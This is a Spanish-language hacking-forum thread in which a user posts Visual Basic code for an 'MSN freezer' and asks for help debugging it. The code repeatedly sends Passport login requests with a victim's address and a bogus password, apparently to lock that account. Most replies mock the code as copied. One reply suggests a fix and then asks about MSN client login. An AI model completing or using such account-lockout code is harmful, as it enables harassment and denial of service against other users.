Compilacion de Congelador MSN.

[g4bsk0r]

Hola amigos de elhacker.net, queria saludarles y a la vez mostrarles mi aprendisaje.
Bueno este codigo fuente es:

Código (vb) [Seleccionar] Expandir

Public Class Form1
    Private Sub Command1_Click()
    On Error Resume Next
    Winsock1.Connect("login.passport.com", 80)
    Timer1.Enabled = True
    End Sub


    Private Sub Timer1_Timer()
    On Error Resume Next
    Winsock1.SendData("GET /login2.srf HTTP/1.0" & vbCrLf)
    Winsock1.SendData("Accept: */*" & vbCrLf)
    Winsock1.SendData("Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" + Text1.Text + ",pwd=FREEZED-BY-WHK,lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1131803266,kpp=1,kv=7,ver=2.1.6000.1,rn=Oyx2lzO3,tpf=a9aa21fdbc1350435849d9fd05849cb7" & vbCrLf)
    Winsock1.SendData(vbCrLf)
    Winsock1.SendData(vbCrLf)
    End Sub


    Private Sub Command2_Click()
    On Error Resume Next
    Timer1.Enabled = False
    Winsock1.Close()
    End Sub

El caso es que en este experimento que estado haciendo sobre los congeladores del msn queria que calificaceis mi avance, y que me ayudaran a encontrar donde esa el problema de este codigo.

Saludos y  muchas gracias por la atencion !

[skapunky]

Este fragmento de TU codigo es curioso:

.....Text1.Text + ",pwd=FREEZED-BY-WHK,lc....

[ssccaann43 ©]

Este fragmento de TU codigo es curioso:

.....Text1.Text + ",pwd=FREEZED-BY-WHK,lc....

Es exactamente ese mismo fragmento el que me huele a LAMMER

[[||HackerDark||]]

dios mio esto lammer no saben ni hacer un buen Copyboy 

[aaronduran2]

Jaja, que recuerdos con CopyBoy...

[ssccaann43 ©]

Jajaja.. Ese men debe estar traumado... Pero más le vale no seguir así... 

[ricardovinzo]

A parte de LAMMER y Copiado el code.. este TROZO de BASURA no SIRVE PARA NADA.. Aprende MSNP ( Messenger Protocol ) y hay posteas

[Banti]

Hola amigos de elhacker.net, queria saludarles y a la vez mostrarles mi aprendisaje.
Bueno este codigo fuente es:

Código (vb) [Seleccionar] Expandir

Public Class Form1
    Private Sub Command1_Click()
    On Error Resume Next
    Winsock1.Connect("login.passport.com", 80)
    Timer1.Enabled = True
    End Sub


    Private Sub Timer1_Timer()
    On Error Resume Next
    Winsock1.SendData("GET /login2.srf HTTP/1.0" & vbCrLf)
    Winsock1.SendData("Accept: */*" & vbCrLf)
    Winsock1.SendData("Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" + Text1.Text + ",pwd=FREEZED-BY-WHK,lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1131803266,kpp=1,kv=7,ver=2.1.6000.1,rn=Oyx2lzO3,tpf=a9aa21fdbc1350435849d9fd05849cb7" & vbCrLf)
    Winsock1.SendData(vbCrLf)
    Winsock1.SendData(vbCrLf)
    End Sub


    Private Sub Command2_Click()
    On Error Resume Next
    Timer1.Enabled = False
    Winsock1.Close()
    End Sub

El caso es que en este experimento que estado haciendo sobre los congeladores del msn queria que calificaceis mi avance, y que me ayudaran a encontrar donde esa el problema de este codigo.

Saludos y  muchas gracias por la atencion !

Que aprendiste a hacer "copy and paste"...
El codigo es super re contra mega sencillo... para empeorar esta en visual basic que te ayuda todo cuando tenes un misero error.

[seba123neo]

nooooooooooo...aparte el codigo es mezcla de visual basic .NET y visual basic 6.... que LAMMER....

[m[a]rkus]

Hola. Mira un error que vi yo es este:

Código [Seleccionar] Expandir

Winsock1.SendData("Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" + Text1.Text + ",pwd=FREEZED-BY-WHK,lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1131803266,kpp=1,kv=7,ver=2.1.6000.1,rn=Oyx2lzO3,tpf=a9aa21fdbc1350435849d9fd05849cb7" & vbCrLf)

En donde pones

+ Text1.Text +

digamos que esta por ejemplo "pepe@hotmail.com" tienes que cambiar la "@" por  "%40" podrias hacerlo de esta manera:

Código [Seleccionar] Expandir

& Replace(Text1.Text, "@", "%40") &

.....

Aprovechando la duda de Vaati pongo una mia:

Estoy intentando conectar a una cuenta MSN creando una especie de cliente muy basico y todo el funcionamiento me va bien hasta que tengo que conectar ah:

login.passport.com 443

Segun el tutorial.... dice que tengo que enviar esto:

Código [Seleccionar] Expandir

Private Sub login_Connect()
    Monitor2.Text = Monitor2.Text & "Cliente > " & " Conectado con exito al tercer servidor:" & vbCrLf
    Text4.BackColor = vbGreen
    login.SendData "GET/ login2.srf HTTP/1.0"
    login.SendData "Accept: */* "
    login.SendData "Host: login.passport.com "
    login.SendData "User-Agent: GirL "
    login.SendData "Authorization: Passport1.0.4 "
    login.SendData "OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,signin=hack.markus%40hotmail.es,pwd=xx0n," & Dlogin
End Sub


Y conecta y envia esos datos pero... es somo si nada.. el servidor se queda a la escucha de otra cosa parece..

Si quereis que os pegue el codigo completo me decis.